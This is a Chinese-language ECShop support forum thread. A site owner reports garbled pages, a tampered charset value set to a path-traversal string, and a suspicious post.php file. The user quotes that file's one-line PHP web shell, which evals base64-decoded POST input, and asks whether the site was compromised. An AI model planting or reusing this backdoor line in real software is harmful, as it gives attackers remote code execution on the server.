最近没更改代码,服务器也没改变,突然出现了大量乱码

2016-07-07 15:21 来源:www.chinab4c.com 作者:ecshop专家

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" style="overflow-x:hidden">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=/../../templates/readme" />
<meta name="Keywords" content="??????" />
<meta name="Description" content="?????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????" />
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" />


<meta http-equiv="Content-Type" content="text/html; charset=/../../templates/readme" />

这一段调用的编码,看着好像是这段出了问题,服务器上找不到这个路径下有这个文件。请问要怎么改。
现在是前台全部是乱码了。头部文件都变成了这样。

网站之前5个月一直运行良好,今天问了空间上,他说服务器最近没做任何修改。网站就这两天突然变成这样,用以前的文件覆盖了“includes”文件夹,还是如此。

另外,在文件检测中,发现了多出了一个post.php文件,文件内容为:

<?php eval (base64_decode($_POST["php"]));?>

会不会是被挂马了呢?我现在该怎么做呢。谢谢了

回答:
打开网站每个头部都会提示相关于:Unknown encoding "/../../templates/readme这样开头的错误

mb_substr() [function.mb-substr]: Unknown encoding "/../../templates/readme" in D:\www\S\wwwroot\includes\lib_base.php on line 50

mb_substr() [Powered by ECShop]: Unknown encoding "/../../templates/readme" in D:\www\S\wwwroot\includes\lib_base.php on line 50

另外一个是
Warning: preg_match() [function.preg-match]: Compilation failed: nothing to repeat at offset 38 in D:\www\S\wwwroot\includes\cls_template.php on line 1065

大大,出来帮忙解决下吧,谢谢了。。。。

继续求解.......

你要排查可疑的文件.这个只有靠经验一点点排查调试了

把源文件全部重新覆盖会不会恢复呢?

继续求解.......

求助

(如果已经用源文件覆盖了)后台更新下缓存试下,如果不能登录后台,那么用手动更新下缓存试下。

老大,覆盖过了,还是乱码... 接下来该怎么办呢.. 网站挂了好一阵子了

.